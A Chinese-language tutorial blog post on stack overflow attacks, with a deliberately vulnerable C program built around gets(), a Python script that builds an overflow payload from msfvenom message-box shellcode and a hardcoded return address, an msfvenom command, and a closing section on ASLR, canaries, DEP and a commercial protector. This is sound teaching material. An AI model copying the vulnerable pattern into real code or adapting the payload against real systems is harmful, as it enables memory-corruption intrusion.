news 2026/4/15 7:16:46

栈溢出攻击原理与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
栈溢出攻击原理与防御

栈溢出攻击原理与防御

栈的结构与特性

栈(Stack)是用于存储函数调用过程中局部变量、参数、返回地址以及保存的寄存器值的内存区域。每次函数调用时,系统会在栈上分配一个栈帧。栈的生长方向是从高地址向低地址,而缓冲区数据的写入方向通常是从低地址向高地址,这一矛盾是栈溢出攻击得以实现的关键。

漏洞形成原理

函数调用时,返回地址被保存在栈帧中,以保证函数执行完毕后能正确返回到调用位置。如果程序在编写时未对缓冲区大小进行严格检查,攻击者通过输入超长数据可以覆盖栈上的返回地址。若精心构造输入数据,将返回地址修改为预先植入的恶意代码(shellcode)地址,即可劫持程序执行流程,造成安全漏洞。

栈帧的典型布局如下:

低地址 +------------------+ | 局部变量 | | buffer[N] | +------------------+ | 保存的 EBP | +------------------+ | 返回地址 | +------------------+ | 函数参数 | +------------------+ 高地址

漏洞复现实例

示例代码

编译时需关闭以下防护选项:

  1. ASLR(地址空间布局随机化)
  2. Stack Canary(/GS 安全检查)
  3. DEP/NX(数据执行保护)
#include<stdio.h>#include<string.h>#include<windows.h>#include<stdlib.h>__declspec(noinline)voidvulnerable(){charbuffer[64];printf("[+] 缓冲区地址: 0x%p\n",buffer);gets(buffer);// 危险函数,不检查输入长度printf("[+] 输入内容: %s\n",buffer);}intmain(){printf("=== 栈溢出演示程序 ===\n");printf("[+] 按 Ctrl+C 退出\n");printf("[+] 输入超长字符串触发溢出\n\n");while(1){vulnerable();}return0;}

攻击脚本

if__name__=="__main__":# 使用 msfvenom 生成的 shellcode,弹窗示例shellcode=b""shellcode+=b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"shellcode+=b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"shellcode+=b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"shellcode+=b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"shellcode+=b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"shellcode+=b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50"shellcode+=b"\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"shellcode+=b"\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"shellcode+=b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"shellcode+=b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"shellcode+=b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"shellcode+=b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"shellcode+=b"\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"shellcode+=b"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"shellcode+=b"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x06\x00\x00\x00"shellcode+=b"\x50\x77\x6e\x65\x64\x00\xe8\x07\x00\x00\x00\x48"shellcode+=b"\x61\x63\x6b\x65\x64\x00\x6a\x00\x68\x45\x83\x56"shellcode+=b"\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"padding=b'\xeb\x46'# 短跳转指令padding+=b'A'*(62+4)# 填充至返回地址前ret_addr=b'\xe4\xee\x19\x00'# 覆盖的返回地址(示例)payload=padding+ret_addr+b'\x90'*0x10+shellcodewithopen('payload.bin','wb')asf:f.write(payload)

提示:可使用msfvenom生成 shellcode,例如:

msfvenom-pwindows/messageboxTEXT="Hacked"TITLE="Pwned"-fpy-ax86

执行方式

stackoverflow.exe < payload.bin

执行成功后,将触发预设的 shellcode,例如弹窗提示:

常见防护机制

ASLR(地址空间布局随机化)

ASLR 使栈、堆和动态库的加载地址在每次程序运行时随机变化,攻击者难以预测关键地址,从而阻止基于固定地址的攻击。

Stack Canary(栈保护)

编译器在缓冲区与返回地址之间插入一个随机值(Canary)。函数返回前校验该值是否被修改,若检测到溢出则终止程序。

+------------------+ | 返回地址 | +------------------+ | Canary | ← 溢出覆盖会触发检测 +------------------+ | 局部变量 | +------------------+

DEP/NX(数据执行保护)

将栈、堆等数据区域标记为不可执行,即使攻击者成功注入 shellcode 并跳转至该区域,CPU 也会拒绝执行,抛出异常。

程序防护实践

栈溢出攻击通常依赖于对目标程序的逆向分析,包括定位危险函数、分析栈布局与计算偏移量。因此,增强程序的反逆向能力可作为有效的防御补充。使用保护工具如Virbox Protector可实现以下防护:

防止静态分析

  • 代码虚拟化:将关键函数转换为私有指令集,使反汇编结果难以理解
  • 代码混淆:通过控制流平坦化与虚假分支干扰分析逻辑
  • 代码加密:代码段加密存储,运行时动态解密
  • 导入表保护:隐藏外部函数依赖,增加定位危险函数的难度
  • 移除调试信息:清除符号表与函数名,提升逆向成本

防止动态调试

  • 调试器检测:识别调试器附加行为,并采取终止或反制措施
  • 内存完整性校验:运行时检查代码段是否被修改或设置断点

通过理解栈溢出原理、熟悉攻击手法,并采取相应的编译选项与代码保护措施,可显著提升软件的安全性,防范此类经典内存漏洞的利用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/12 15:28:26

安装包打包规范:为GLM-TTS制作一键部署发行版

安装包打包规范&#xff1a;为GLM-TTS制作一键部署发行版 在语音合成技术飞速演进的今天&#xff0c;一个令人兴奋的趋势正在发生&#xff1a;我们不再需要为每个说话人重新训练模型&#xff0c;也能生成高度逼真的个性化语音。GLM-TTS 正是这一趋势下的代表性成果——它基于大…

作者头像 李华
网站建设 2026/4/5 13:24:52

元宇宙应用场景:在VR环境中使用个性化语音合成

元宇宙中的声音人格&#xff1a;VR环境下的个性化语音合成实践 在虚拟现实&#xff08;VR&#xff09;世界中&#xff0c;当你的数字分身第一次开口说话——是机械单调的合成音&#xff0c;还是带着你真实语调、情绪起伏的声音&#xff1f;这个看似微小的差异&#xff0c;恰恰决…

作者头像 李华
网站建设 2026/4/13 12:58:38

从本地到云端:我亲历的AI模型部署之路,这笔“账”你得这么算

每次和同行、客户聊起AI项目的落地&#xff0c;话题总会不可避免地拐到一个核心抉择上&#xff1a;这模型&#xff0c;咱们是放在自己机房里跑&#xff0c;还是扔到云上去&#xff1f;这问题听起来像是技术选型&#xff0c;但在我这些年摸爬滚打的经历里&#xff0c;它早就不止…

作者头像 李华
网站建设 2026/4/10 17:02:55

GLM-TTS KV Cache加速原理与实际性能增益测试

GLM-TTS KV Cache加速原理与实际性能增益测试 在当前AI语音合成技术快速演进的背景下&#xff0c;零样本语音克隆&#xff08;Zero-shot Voice Cloning&#xff09;正逐步从实验室走向实际应用。GLM-TTS作为一款支持多语言、高保真度且具备音素级控制能力的开源TTS模型&#x…

作者头像 李华
网站建设 2026/4/13 17:11:14

全网最全专科生必看9个AI论文平台测评

全网最全专科生必看9个AI论文平台测评 一、不同维度核心推荐&#xff1a;9款AI工具各有所长 对于专科生而言&#xff0c;论文写作是一个复杂而系统的过程&#xff0c;从选题、开题到初稿撰写、查重降重&#xff0c;每一个环节都可能遇到困难。因此&#xff0c;选择一款合适的AI…

作者头像 李华
网站建设 2026/4/11 23:14:35

从GitHub下载GLM-TTS源码后如何快速部署?完整流程演示

从GitHub下载GLM-TTS源码后如何快速部署&#xff1f;完整流程演示 在内容创作与人机交互日益依赖语音技术的今天&#xff0c;个性化、高质量的语音合成工具正变得不可或缺。无论是制作有声书、打造虚拟主播&#xff0c;还是开发智能客服系统&#xff0c;开发者都希望拥有一种“…

作者头像 李华